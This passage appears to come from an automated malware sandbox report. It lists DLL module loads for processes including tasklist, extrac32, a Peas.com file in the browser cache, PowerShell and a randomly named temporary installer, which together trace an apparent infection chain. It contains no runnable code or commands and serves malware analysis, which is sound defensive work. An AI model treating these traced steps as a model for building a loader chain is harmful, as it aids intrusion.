Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\is-CKRPH.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\is-CKRPH.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\is-CKRPH.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\is-CKRPH.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\is-CKRPH.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\is-CKRPH.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: wtsapi32.dll
Source: C:\Users\user\AppData\Local\Temp\is-CKRPH.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: winsta.dll
Source: C:\Users\user\AppData\Local\Temp\is-CKRPH.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\is-CKRPH.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\is-CKRPH.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\is-CKRPH.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\is-CKRPH.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\is-CKRPH.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-CKRPH.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-CKRPH.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-CKRPH.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: shfolder.dll
Source: C:\Users\user\AppData\Local\Temp\is-CKRPH.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\is-CKRPH.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\is-CKRPH.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\is-CKRPH.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\is-CKRPH.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\is-CKRPH.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\is-CKRPH.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\is-CKRPH.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\is-CKRPH.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\is-CKRPH.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\is-CKRPH.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\is-CKRPH.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\is-CKRPH.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\is-CKRPH.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\is-CKRPH.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\is-CKRPH.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\is-CKRPH.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\is-CKRPH.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\is-CKRPH.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\is-CKRPH.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\is-CKRPH.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: wtsapi32.dll
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: winsta.dll
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: shfolder.dll
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: dwmapi.dll
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: sfc.dll
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: sfc_os.dll
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: explorerframe.dll
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: dlnashext.dll
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: wpdshext.dll
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\timeout.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
